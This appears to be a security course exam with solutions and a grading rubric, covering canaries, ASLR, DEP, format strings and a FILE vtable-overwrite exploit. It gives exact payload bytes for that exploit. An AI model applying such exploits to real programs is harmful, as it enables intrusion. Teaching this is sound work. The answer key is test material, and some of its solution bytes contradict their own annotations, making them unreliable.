Question 1 ***Memory safety***

Q1.1 True or False: Suppose we compile a program with 512-bit canaries, and the program produces no output (so it is impossible to leak the value of the canary). It is possible to successfully write to memory located above the stack canary.

● True ○ False

Solution: True. Some vulnerabilities, e.g. format string vulnerabilities allow you to write to arbitrary locations in memory.

Q1.2 True or False: In the last question of Project 1, ASLR prevents the attacker from knowing the address of any instructions in memory.

○ True ● False

Solution: In that question, the data and text segments were not randomized, so the attacker can find the address of program code and library code.

Q1.3 True or False: An 8-byte stack canary is less secure than a 4-byte stack canary.

○ True ● False

Solution: A 8-byte canary is no worse, and possibly better. It might be better because it is harder to guess, i.e., has more entropy.

Q1.4 Format string vulnerabilities can allow the attacker to:

■ Read memory ■ Execute Shellcode

■ Write memory ☐ None of these

Solution: When the attacker controls the format string, it is easy to read the stack with a variety of format specifiers. The %n identifier lets us write to certain parts of memory, and in some program lets us overwrite the RIP and execute shellcode.

Q1.5 Which of the following memory safety hardening measures work by ensuring that all writeable regions in memory are non-executable, and all executable regions in memory are non-writeable?

- ☐ ASLR
- ■ DEP (also known as W^X or NX)
- ☐ Stack canaries
- ☐ None of these

Solution: This is the definition of DEP. Stack canaries and ASLR do not do anything to distinguish writable and executable regions in memory.

Q1.6 Bear Systems hardens its code with both DEP (also known as W^X or NX) and its own custom variant of ASLR. Normally, ASLR chooses a random offset for the stack and heap when the program starts running. Bear Systems modifies the compiler to choose a random offset when the program is compiled and hardcode this into the binary executable. Bear Systems ships the same executable to all of its customers. What is the effect of this modification to ASLR on security against memory safety exploits?

- ○ This modification makes security better.
- ○ This modification has no significant effect on security.
- ● This modification makes security worse.

Solution: This defeats the purpose of ASLR. Because the offset is hardcoded into the executable, it will be the same for all customers (i.e., the addresses will be the same for all customers). Thus, one customer can extract the offset from their copy of the executable, and then use it to infer the addresses used by other customers and attack other customers.

Question 2 ***Virtual Tables, Real Fun***

The following code runs on a 32-bit x86 system.

```
#include <stdio.h>
int main() {
    FILE *fp;
    char buf[8];
    fp = fopen("outis", "rb");
    fread(buf, sizeof char, 12, fp);
    fclose(fp);
}
```

Behind the hood, the `FILE` struct is implemented in `stdio.h` as follows:

```
struct _IO_FILE; /* implementation omitted */

typedef struct {
    struct _IO_FILE ufile;
    struct _IO_jump_t *vtable;
} FILE;

struct _IO_jump_t {
    size_t (*fread)(void *, size_t, size_t, FILE *);
    size_t (*fwrite)(void *, size_t, size_t, FILE *);
    int (*fclose)(FILE *);
    /* more members below omitted */
};

int fclose(FILE *fp) { return fp->vtable->fclose(fp); }
/* more implementations below omitted */
```

Make the following assumptions:

1. No memory safety defenses are enabled.
2. The compiler does not perform any optimizations, reorder any variables, nor add any padding in between `struct` members.
3. The implementation of the function `fopen` has been omitted. Assume a sensible implementation of `fopen` that initializes the `ufile` and `vtable` fields of the `FILE` struct to sensible values.

Q2.1 Running the program in `gdb` using `invoke -d` as in Project 1, you find the following:

- `&buf = 0xbf608040`
- `&fp = 0xbf608048`
- `sizeof(struct _IO_FILE) = 32`

You wish to prove you can exploit the program by having it jump to the memory address `0xdeadbeef`. Complete the Python script below so that its output would successfully exploit the program.

NOTE: The syntax `\xRS` indicates a byte with hex value `0xRS`.

```
#!/usr/bin/env python2
import sys
sys.stdout.write('\x_____\x_____\x_____\x_____' + \
                 '\x_____\x_____\x_____\x_____' + \

                 '\x_____\x_____\x_____\x_____')
```

Solution:

A slideshow version of the solution is available here.

There are two possible solutions:

Solution 1:

```
3c 80 60 bf (= &buf - 4)
ef be ad de (= 0xdeadbeef)
20 80 60 bf (= &buf - 32)
```

Solution 2:

```
ef be ad de (= 0xdeadbeef)
38 80 60 07 (= &buf - 8)
24 80 60 07 (= &buf - 28)
```

Both solutions overwrite `fp` such that `fp->vtable->fclose` points to the memory address `0xdeadbeef`. When `fclose` is called, this will lead to the shellcode at `0xdeadbeef` being executed. Note that `vtable` is offset 32 from the start of the `FILE` struct, while `fclose` is at offset 8 from the start of the `_IO_jump_t` struct.

Award partial credit for each of the following.

- -1 point: not using little endian.
- 0 points: for solutions which write outside the lines, or which strongly misunderstand syntax. If this is the case, **no further points can be awarded below**.
- 1 point: writing `0xdeadbeef` anywhere in the buffer. If `0xdeadbeef` overwrites `fp`, **no further points can be awarded below**.
- One of the following (whichever gives more points):
  - 4 points: overwriting `fp` with either `0xbf608020` or `0xbf608024`.

- 2 points: overwriting `fp` with a value between `0xbf608000` and `0xbf608030`.
- 1 point: overwriting `fp` with a value between `0xbf608031` and `0xbf608040`.
- If none of the above apply, award no points for this subpart. **No further points can be awarded below.**

• One of the following (whichever gives more points):

- 3 points: emulate either solution by writing the correct value into the appropriate spot: into `&buf` if using Solution 1, or `&buf + 4` if using Solution 2.
- 1.5 points: emulate either solution by writing a value between `0xbf608030` and `0xbf608048` into the appropriate spot: into `&buf` if using Solution 1, or `&buf + 4` if using Solution 2.

Q2.2 Which of the following defenses would stop your attack in part (a) from exploiting the program by jumping to memory address `0xdeadbeef`? Assume `0xdeadbeef` is at a read-only part of memory.

☐ Stack canaries

☐ W^X

■ ASLR which does not randomize the `.text` segment (as in Project 1)

■ ASLR which also randomizes the `.text` segment

Q2.3 (Consider this question independently from the previous part.) Now consider that we move the variables `fp` and `buf` outside of the `main` function, as follows:

```
1 #include <stdio.h>
2 char buf[8]; /* &buf = 0x08402020 */
3 FILE *fp;    /* &fp  = 0x08402028 */
4 int main() { /* rest of main is the same, but no variables */ }
```

True or False: It is possible to modify the exploit in part (a) to exploit this modified program.

● True

○ False

Solution: Yep, just change the addresses.